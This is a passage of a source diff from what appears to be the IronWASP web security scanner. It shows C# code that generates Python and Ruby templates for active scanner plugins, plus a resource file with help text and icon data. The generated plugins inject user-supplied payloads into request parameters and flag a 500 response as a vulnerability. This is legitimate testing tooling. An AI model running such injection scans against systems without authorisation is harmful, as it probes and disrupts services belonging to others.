payloads file"); + Py.Append(" "); Py.AppendLine("p.payloads.extend(self.payloads)"); + + Rb.Append(" "); Rb.AppendLine("#Update this instance with the payloads read from the payloads file"); + Rb.Append(" "); Rb.AppendLine("for payload in @payloads"); + Rb.Append(" "); Rb.AppendLine("p.payloads.push(payload)"); + Rb.Append(" "); Rb.AppendLine("end"); + } + Py.Append(" "); Py.AppendLine("return p"); + Py.AppendLine(); + Py.AppendLine(); + + Rb.Append(" "); Rb.AppendLine("return p"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine(); + Rb.AppendLine(); + + Py.Append(" "); Py.AppendLine("#Implement the Check method of ActivePlugin class. This is the method called by the Scanner and the entry point in to the plugin."); + Py.Append(" "); Py.AppendLine("def Check(self, scnr):"); + Py.Append(" "); Py.AppendLine("self.scnr = scnr # 'scnr' is the Scanner object calling this plugin"); + Py.Append(" "); Py.AppendLine("#Print out a message to the Scan trace indicating the start of the check. Check the comments at the bottom to know more about the Trace feature and the formattng inside Scan trace messages."); + Py.Append(" "); Py.AppendLine(string.Format(@"self.scnr.Trace("">>Checking for {0}:>>>"")", PluginName)); + + Rb.Append(" "); Rb.AppendLine("#Implement the Check method of ActivePlugin class. This is the method called by the Scanner and the entry point in to the plugin."); + Rb.Append(" "); Rb.AppendLine("def Check(scnr)"); + Rb.Append(" "); Rb.AppendLine("@scnr = scnr # 'scnr' is the Scanner object calling this plugin"); + Rb.Append(" "); Rb.AppendLine("#Print out a message to the Scan trace indicating the start of the check. Check the comments at the bottom to know more about the Trace feature and the formattng inside Scan trace messages."); + Rb.Append(" "); Rb.AppendLine(string.Format(@"@scnr.trace("">>Checking for {0}:>>>"")", PluginName)); + + if(this.Payloads.Count <= this.MaxCountForPayloadsList) + { + Py.Append(" "); Py.AppendLine("#Store the payloads in a list"); + Py.Append(" ");Py.Append("self.payloads = ["); + + Rb.Append(" "); Rb.AppendLine("#Store the payloads in a list"); + Rb.Append(" "); Rb.Append("@payloads = ["); + + for(int i = 0; i < this.Payloads.Count; i++) + { + string Payload = this.Payloads[i]; + + Py.Append("\""); Py.Append(Tools.EscapeDoubleQuotes(Payload)); Py.Append("\""); + Rb.Append("\""); Rb.Append(Tools.EscapeDoubleQuotes(Payload)); Rb.Append("\""); + + if (i < (this.Payloads.Count - 1)) + { + Py.Append(","); + Rb.Append(","); + } + } + Py.Append("]"); + Py.AppendLine(); + + Rb.Append("]"); + Rb.AppendLine(); + } + Py.Append(" "); Py.AppendLine("#Request trace adds information about the request to the Trace. The log id of the Request is automatically added."); + Py.Append(" "); Py.AppendLine(@"self.scnr.RequestTrace(""Sending request without payloads to get normal response - "")"); + Py.Append(" "); Py.AppendLine("#This methods sends the original request without any payloads. If any Session Plugin is selected with this scan job then that Session Plugin is used to update the original request before sending."); + Py.Append(" "); Py.AppendLine(@"res = self.scnr.Inject()"); + Py.Append(" "); Py.AppendLine("#Response trace adds information about the response to the Trace in the same line as the previous RequestTrace message. This and RequestTrace must be called together."); + Py.Append(" "); Py.AppendLine(@"self.scnr.ResponseTrace("" ==> Normal Code - "" + str(res.Code) + "" | Normal Length - "" + str(res.BodyLength))"); + Py.Append(" "); Py.AppendLine(@"self.scnr.Trace("">>Starting injection of payloads>>"")"); + Py.Append(" "); Py.AppendLine("for payload in self.payloads:"); + Py.Append(" "); Py.AppendLine("#Since the payloads are stored in url encoded form they are decoded before being used."); + Py.Append(" "); Py.AppendLine("payload = Tools.UrlDecode(payload)"); + + Rb.Append(" "); Rb.AppendLine("#Request trace adds information about the request to the Trace. The log id of the Request is automatically added."); + Rb.Append(" "); Rb.AppendLine(@"@scnr.request_trace(""Sending request without payloads to get normal response - "")"); + Rb.Append(" "); Rb.AppendLine("#This methods sends the original request without any payloads. If any Session Plugin is selected with this scan job then that Session Plugin is used to update the original request before sending."); + Rb.Append(" "); Rb.AppendLine(@"res = @scnr.inject"); + Rb.Append(" "); Rb.AppendLine("#Response trace adds information about the response to the Trace in the same line as the previous RequestTrace message. This and RequestTrace must be called together."); + Rb.Append(" "); Rb.AppendLine(@"@scnr.response_trace("" ==> Normal Code - "" + res.code.to_s + "" | Normal Length - "" + res.body_length.to_s)"); + Rb.Append(" "); Rb.AppendLine(@"@scnr.trace("">>Starting injection of payloads>>"")"); + Rb.Append(" "); Rb.AppendLine("for payload in @payloads"); + Rb.Append(" "); Rb.AppendLine("#Since the payloads are stored in url encoded form they are decoded before being used."); + Rb.Append(" "); Rb.AppendLine("payload = Tools.url_decode(payload)"); + + if (OriginalParameterBeforePayloadRB.Checked) + { + Py.Append(" "); Py.AppendLine("#The original value of the currently tested parameter is added before the payload. self.scnr.PreInjectionParameterValue gives this value."); + Py.Append(" "); Py.AppendLine("payload = self.scnr.PreInjectionParameterValue + payload"); + + Rb.Append(" "); Rb.AppendLine("#The original value of the currently tested parameter is added before the payload. @scnr.pre_injection_parameter_value gives this value."); + Rb.Append(" "); Rb.AppendLine("payload = @scnr.pre_injection_parameter_value + payload"); + } + else if (OriginalParameterAfterPayloadRB.Checked) + { + Py.Append(" "); Py.AppendLine("#The original value of the currently tested parameter is added at the end of the payload. self.scnr.PreInjectionParameterValue gives this value."); + Py.Append(" "); Py.AppendLine("payload = payload + self.scnr.PreInjectionParameterValue"); + + Rb.Append(" "); Rb.AppendLine("#The original value of the currently tested parameter is added at the end of the payload. @scnr.pre_injection_parameter_value gives this value."); + Rb.Append(" "); Rb.AppendLine("payload = payload + @scnr.pre_injection_parameter_value"); + } + Py.Append(" "); Py.AppendLine("#Tools.EncodeForTrace converts the input in to a form that is friendly towards being added to the Scan Trace"); + Py.Append(" "); Py.AppendLine(@"self.scnr.RequestTrace(""Injected - "" + Tools.EncodeForTrace(payload))"); + Py.Append(" "); Py.AppendLine("#The payload is injected in the parameter currently being tested and the response is returned. If a Session Plugin was used along with this Scan Job it would have been called now internally."); + Py.Append(" "); Py.AppendLine(@"res = self.scnr.Inject(payload)"); + Py.Append(" "); Py.AppendLine("if res.Code == 500:"); + Py.Append(" "); Py.AppendLine(@"self.scnr.ResponseTrace("" ==> > Got 500 response code. Indicates error on the server.>"")"); + Py.Append(" "); Py.AppendLine("#If the response code is 500 then we report a vulnerability"); + Py.Append(" "); Py.AppendLine("self.report_vuln(Tools.EncodeForTrace(payload))"); + Py.Append(" "); Py.AppendLine("else:"); + Py.Append(" "); Py.AppendLine(@"self.scnr.ResponseTrace("" ==> Code - "" + str(res.Code) + "" | Length - "" + str(res.BodyLength))"); + Py.AppendLine(); + Py.AppendLine(); + + Rb.Append(" "); Rb.AppendLine("#Tools.encode_for_trace converts the input in to a form that is friendly towards being added to the Scan Trace"); + Rb.Append(" "); Rb.AppendLine(@"@scnr.request_trace(""Injected - "" + Tools.encode_for_trace(payload))"); + Rb.Append(" "); Rb.AppendLine("#The payload is injected in the parameter currently being tested and the response is returned. If a Session Plugin was used along with this Scan Job it would have been called now internally."); + Rb.Append(" "); Rb.AppendLine(@"res = @scnr.inject(payload)"); + Rb.Append(" "); Rb.AppendLine("if res.code == 500"); + Rb.Append(" "); Rb.AppendLine(@"@scnr.response_trace("" ==> > Got 500 response code. Indicates error on the server.>"")"); + Rb.Append(" "); Rb.AppendLine("#If the response code is 500 then we report a vulnerability"); + Rb.Append(" "); Rb.AppendLine("report_vuln(Tools.encode_for_trace(payload))"); + Rb.Append(" "); Rb.AppendLine("else"); + Rb.Append(" "); Rb.AppendLine(@"@scnr.response_trace("" ==> Code - "" + res.code.to_s + "" | Length - "" + res.body_length.to_s)"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.AppendLine(); + Rb.AppendLine(); + + Py.Append(" "); Py.AppendLine("#This method implements the vulnerability reporting function"); + Py.Append(" "); Py.AppendLine("def report_vuln(self, payload):"); + Py.Append(" "); Py.AppendLine("#Create a new instance of the Finding class, it takes the BaseUrl property of the Request object as constructor argument. The self.scnr.BaseRequest property returns the original request that is being scanned."); + Py.Append(" "); Py.AppendLine("f = Finding(self.scnr.BaseRequest.BaseUrl)"); + Py.Append(" "); Py.AppendLine("#The type of the finding is set as vulnerability. Other possible values are FindingType.Information and FindingType.TestLead"); + Py.Append(" "); Py.AppendLine("f.Type = FindingType.Vulnerability"); + Py.Append(" "); Py.AppendLine("#The confidence of the finding is set as Medium. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingConfidence.High and FindingConfidence.Low"); + Py.Append(" "); Py.AppendLine("f.Confidence = FindingConfidence.Medium"); + Py.Append(" "); Py.AppendLine("#The severity of the finding is set as High. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingSeverity.Medium and FindingSeverity.Low"); + Py.Append(" "); Py.AppendLine("f.Severity = FindingSeverity.High"); + Py.Append(" "); Py.AppendLine("#This vulnerability is given a title"); + Py.Append(" "); Py.AppendLine(string.Format("f.Title = '{0} vulnerability found'", this.PluginName)); + Py.Append(" "); Py.AppendLine("#This vulnerability summary and trace are added. self.scnr.InjectedParameter gives the name of the parameter that was tested. self.scnr.InjectedSection gives the section where the parameter is located in the request. self.scnr.GetTrace() returns the scan trace messages collected up to this ponit as a string."); + Py.Append(" "); Py.AppendLine(string.Format(@"f.Summary = ""{0} vulnerability has been detected in the '"" + self.scnr.InjectedParameter + ""' parameter of the "" + self.scnr.InjectedSection + "" section of the request. >>>Test Trace:> "" + self.scnr.GetTrace()", this.PluginName)); + Py.Append(" "); Py.AppendLine("#Triggers are a collection of Trigger objects. A Trigger is a set of Request object, corrresponding Response object and some keywords that were found in the Request and Response that triggered the detection of this vulnerability."); + Py.Append(" "); Py.AppendLine("#self.scnr.InjectedRequest property returns the request that was sent using the Inject method and self.scnr.InjectionResponse property gives the response to that request. In this case the request trigger is added as the injected payload and the response trigger is the status code 500"); + Py.Append(" "); Py.AppendLine(@"f.Triggers.Add(payload, self.scnr.InjectedRequest, '500', self.scnr.InjectionResponse)"); + Py.Append(" "); Py.AppendLine("#After defining the vulnerability it is added to the scanner objects list of findings"); + Py.Append(" "); Py.AppendLine("self.scnr.AddFinding(f)"); + Py.Append(" "); Py.AppendLine("#self.scnr.SetTraceTitle sets a title to this scan trace message. A title makes it easy to identify that this particular scan had some interesting finding."); + Py.Append(" "); Py.AppendLine("#The second argument to this function is the title importantance value. The SetTraceTitle method can be called multiple times in this plugin. But only the title that was given the highest importance value will be displayed in the scan trace. If there are more than one title with the highest priority value then their all these high importance titles will be shown."); + Py.Append(" "); Py.AppendLine(string.Format(@"self.scnr.SetTraceTitle(""{0} Found"",100)", this.PluginName)); + + Rb.Append(" "); Rb.AppendLine("#This method implements the vulnerability reporting function"); + Rb.Append(" "); Rb.AppendLine("def report_vuln(payload)"); + Rb.Append(" "); Rb.AppendLine("#Create a new instance of the Finding class, it takes the BaseUrl property of the Request object as constructor argument. The @scnr.base_request.base_url property returns the original request that is being scanned."); + Rb.Append(" "); Rb.AppendLine("f = Finding.new(@scnr.base_request.base_url)"); + Rb.Append(" "); Rb.AppendLine("#The type of the finding is set as vulnerability. Other possible values are FindingType.information and FindingType.test_lead"); + Rb.Append(" "); Rb.AppendLine("f.type = FindingType.vulnerability"); + Rb.Append(" "); Rb.AppendLine("#The confidence of the finding is set as Medium. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingConfidence.high and FindingConfidence.low"); + Rb.Append(" "); Rb.AppendLine("f.confidence = FindingConfidence.medium"); + Rb.Append(" "); Rb.AppendLine("#The severity of the finding is set as High. This property only applies to vulnerabilities. TestLeads and Information don't need to set this. Other possible values are FindingSeverity.Medium and FindingSeverity.Low"); + Rb.Append(" "); Rb.AppendLine("f.severity = FindingSeverity.high"); + Rb.Append(" "); Rb.AppendLine("#This vulnerability is given a title"); + Rb.Append(" "); Rb.AppendLine(string.Format("f.title = '{0} vulnerability found'", this.PluginName)); + Rb.Append(" "); Rb.AppendLine("#This vulnerability summary and trace are added. @scnr.injected_parameter gives the name of the parameter that was tested. @scnr.injected_section gives the section where the parameter is located in the request. @scnr.get_trace returns the scan trace messages collected up to this ponit as a string."); + Rb.Append(" "); Rb.AppendLine(string.Format(@"f.summary = ""{0} vulnerability has been detected in the '"" + @scnr.injected_parameter + ""' parameter of the "" + @scnr.injected_section + "" section of the request. >>>Test Trace:> "" + @scnr.get_trace", this.PluginName)); + Rb.Append(" "); Rb.AppendLine("#Triggers are a collection of Trigger objects. A Trigger is a set of Request object, corrresponding Response object and some keywords that were found in the Request and Response that triggered the detection of this vulnerability."); + Rb.Append(" "); Rb.AppendLine("#@scnr.injected_request property returns the request that was sent using the Inject method and @scnr.injection_response property gives the response to that request. In this case the request trigger is added as the injected payload and the response trigger is the status code 500"); + Rb.Append(" "); Rb.AppendLine(@"f.triggers.add(payload, @scnr.injected_request, '500', @scnr.injection_response)"); + Rb.Append(" "); Rb.AppendLine("#After defining the vulnerability it is added to the scanner objects list of findings"); + Rb.Append(" "); Rb.AppendLine("@scnr.add_finding(f)"); + Rb.Append(" "); Rb.AppendLine("#@scnr.set_trace_title sets a title to this scan trace message. A title makes it easy to identify that this particular scan had some interesting finding."); + Rb.Append(" "); Rb.AppendLine("#The second argument to this function is the title importantance value. The set_trace_title method can be called multiple times in this plugin. But only the title that was given the highest importance value will be displayed in the scan trace. If there are more than one title with the highest priority value then their all these high importance titles will be shown."); + Rb.Append(" "); Rb.AppendLine(string.Format(@"@scnr.set_trace_title(""{0} Found"",100)", this.PluginName)); + Rb.Append(" "); Rb.AppendLine("end"); + + if (this.Payloads.Count > this.MaxCountForPayloadsList) + { + Py.AppendLine(); + Py.AppendLine(); + Py.Append(" "); Py.AppendLine("#This method reads the payloads from the payloads files and stores it in a variable"); + Py.Append(" "); Py.AppendLine("def load_payloads_from_file(self):"); + Py.Append(" "); Py.AppendLine("#Config.Path gives the full path directory containing IronWASP.exe"); + Py.Append(" "); Py.AppendLine(string.Format(@"p_file = open(Config.Path + ""\\plugins\\active\\{0}"")", this.PayloadsFileName)); + Py.Append(" "); Py.AppendLine("self.payloads = []"); + Py.Append(" "); Py.AppendLine("payloads_with_newline = p_file.readlines()"); + Py.Append(" "); Py.AppendLine("p_file.close()"); + Py.Append(" "); Py.AppendLine("for pwnl in payloads_with_newline:"); + Py.Append(" "); Py.AppendLine("self.payloads.append(pwnl.rstrip())"); + + Rb.AppendLine(); + Rb.AppendLine(); + Rb.Append(" "); Rb.AppendLine("#This method reads the payloads from the payloads files and stores it in a variable"); + Rb.Append(" "); Rb.AppendLine("def load_payloads_from_file()"); + Rb.Append(" "); Rb.AppendLine("#Config.path gives the full path directory containing IronWASP.exe"); + Rb.Append(" "); Rb.AppendLine(string.Format(@"p_file = File.open(Config.path + ""\\plugins\\active\\{0}"")", this.PayloadsFileName)); + Rb.Append(" "); Rb.AppendLine("@payloads = []"); + Rb.Append(" "); Rb.AppendLine("payloads_with_newline = p_file.readlines"); + Rb.Append(" "); Rb.AppendLine("p_file.close"); + Rb.Append(" "); Rb.AppendLine("for pwnl in payloads_with_newline"); + Rb.Append(" "); Rb.AppendLine("@payloads.push(pwnl.rstrip)"); + Rb.Append(" "); Rb.AppendLine("end"); + Rb.Append(" "); Rb.AppendLine("end"); + } + Py.AppendLine(); + Py.AppendLine(); + Py.AppendLine(); + Py.AppendLine("#This code is executed only once when this new plugin is loaded in to the memory."); + Py.AppendLine("#Create an instance of the this plugin"); + Py.AppendLine(string.Format("p = {0}()", this.PluginName)); + + Rb.AppendLine("end"); + Rb.AppendLine(); + Rb.AppendLine(); + Rb.AppendLine(); + Rb.AppendLine("#This code is executed only once when this new plugin is loaded in to the memory."); + Rb.AppendLine("#Create an instance of the this plugin"); + Rb.AppendLine(string.Format("p = {0}.new", this.PluginName)); + + if (this.Payloads.Count > this.MaxCountForPayloadsList) + { + Py.AppendLine("#load payloads from the file"); + Py.AppendLine("p.load_payloads_from_file()"); + + Rb.AppendLine("#load payloads from the file"); + Rb.AppendLine("p.load_payloads_from_file"); + } + Py.AppendLine("#Call the GetInstance method on this instance which will return a new instance with all the approriate values filled in. Add this new instance to the list of ActivePlugins"); + Py.AppendLine("ActivePlugin.Add(p.GetInstance())"); + Py.AppendLine(); + Py.AppendLine(); + + Rb.AppendLine("#Call the get_instance method on this instance which will return a new instance with all the approriate values filled in. Add this new instance to the list of ActivePlugins"); + Rb.AppendLine("ActivePlugin.add(p.get_instance)"); + Rb.AppendLine(); + Rb.AppendLine(); + + string BottomComments = @" +#Information about Trace and Trace message formatting +#IronWASP has a special Scan Trace feature using which the plugin can tell the user exactly what it tried to do during the scan. +#The scan messages are available in the Automated Scanning -> Scan Trace section. +#The messasge formation system used is similar to HTML. There are special tags that you can use to format the message in differnet forms. +#The same system can be used to format your Finding summary as well. +#>introduces a line break +#>Makes the enclosed text bold> +#>Makes the enclosed text prominent like a heading> +#>Makes the enclosed text appear in red> +#>Makes the enclosed text appear in green> +#>Makes the enclosed text appear in blue> +#>Highlights the enclosed text appear in red> +#>Highlights the enclosed text appear in green> +#>Highlights the enclosed text appear in blue> +"; + Py.AppendLine(BottomComments); + Rb.AppendLine(BottomComments); + return new string[]{Py.ToString(), Rb.ToString()}; + } + + private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) + { + if (!BaseTabs.SelectedTab.Name.Equals(IndexNames[this.CurrentStep])) + BaseTabs.SelectTab(IndexNames[this.CurrentStep]); + } + } +} diff --git a/Iron/ActivePluginCreationAssistant.resx b/Iron/ActivePluginCreationAssistant.resx new file mode 100644 index 0000000..8eccebb --- /dev/null +++ b/Iron/ActivePluginCreationAssistant.resx @@ -0,0 +1,1943 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + +This assistant will help you create a template for your new active plugin based on the details you provide. + +Enter the name and description for this new plugin. The plugin name must be unique and only contain alphabets. + + + + An Active Plugin has been created based on the information provide by you. This plugin sends the payloads given by you and reports a vulnerability if the response has the status code 500. +This is meant to serve as a template so that you can implement your required logic inside this plugin. + +To learn about how to implement your logic in code using the IronWASP API and debug or troubleshoot the plugin please use the 'Script Creation Assistant' under the 'Dev Tools' menu. + +This plugin would be listed under the Active Plugins list, you can see this list by going to the 'Dev' -> 'Plugin & Modules' Section. + +If you make any changes to this plugin, then after saving the file right-click on the plugin name in the list and select 'Reload Selected Plugin' for the changes to take effect. +If the plugin contained syntax errors then it would not be visible in that list. Once you fix the syntax issues right-click anywhere in the list and select 'Active Plugins -> Add New' + + + + 17, 17 + + + 42 + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhUtLS9PPlk9b0ZdP/9GXT//Rl0//0ZdPqtGX + T6rRl0//0ZdP/9GXT//Olk9bS0tL1UtLS4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNLS0vyS0tL/1FOS1HRl0/c0ZdP/9GX + T//Rl0+q0ZdPqtGXT//Rl0//0ZdP21BOS1VLS0v/S0tL8ktLSxMAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLhktLS/9LS0v/S0tLxdGX + T2bRl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl09mS0tLyktLS/9LS0v/S0tLhgAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxRLS0vyS0tL/0tL + S/9LS0v/WVNLRtGXT+XRl0//0ZdPqtGXT6rRl0//0ZdP5FdSS0xLS0v/S0tL/0tLS/9LS0vyS0tLFAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAS0tLh0tL + S/9LS0v/S0tL/0tLS/9LS0u30ZdPXNGXT7HRl0920ZdPdtGXT7HRl09cS0tLv0tLS/9LS0v/S0tL/0tL + S/9LS0uHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtL + SxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9jczG4u3c1uZN3NbmTdzW5k3c1uZNbHbC9LS0vfS0tL/0tL + S/9LS0v/S0tL/0tLS/NLS0sUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAS0tLiUtLS/9LS0v/S0tL/0tLS/9LS0v/TExLXt3NbsrdzW7/3c1u/93Nbv/dzW7/3c1uy0xM + S2ZLS0v/S0tL/0tLS/9LS0v/S0tL/0tLS4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAEtLSxVLS0vzS0tL/0tLS/9LS0v/S0tL/0tLS9vWx2xN3c1u/93Nbv/dzW7/3c1u/93N + bv/dzW7/08RsUUtLS+BLS0v/S0tL/0tLS/9LS0v/S0tL80tLSxUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAS0tLiktLS/9LS0v/S0tL/0tLS/9LS0v/S0tLYd3NbsfdzW7/3c1u/93N + bv/dzW7/3c1u/93Nbv/dzW7KTExLZ0tLS/9LS0v/S0tL/0tLS/9LS0v/S0tLiQAAAAAAAAAAAAAAAAAA + 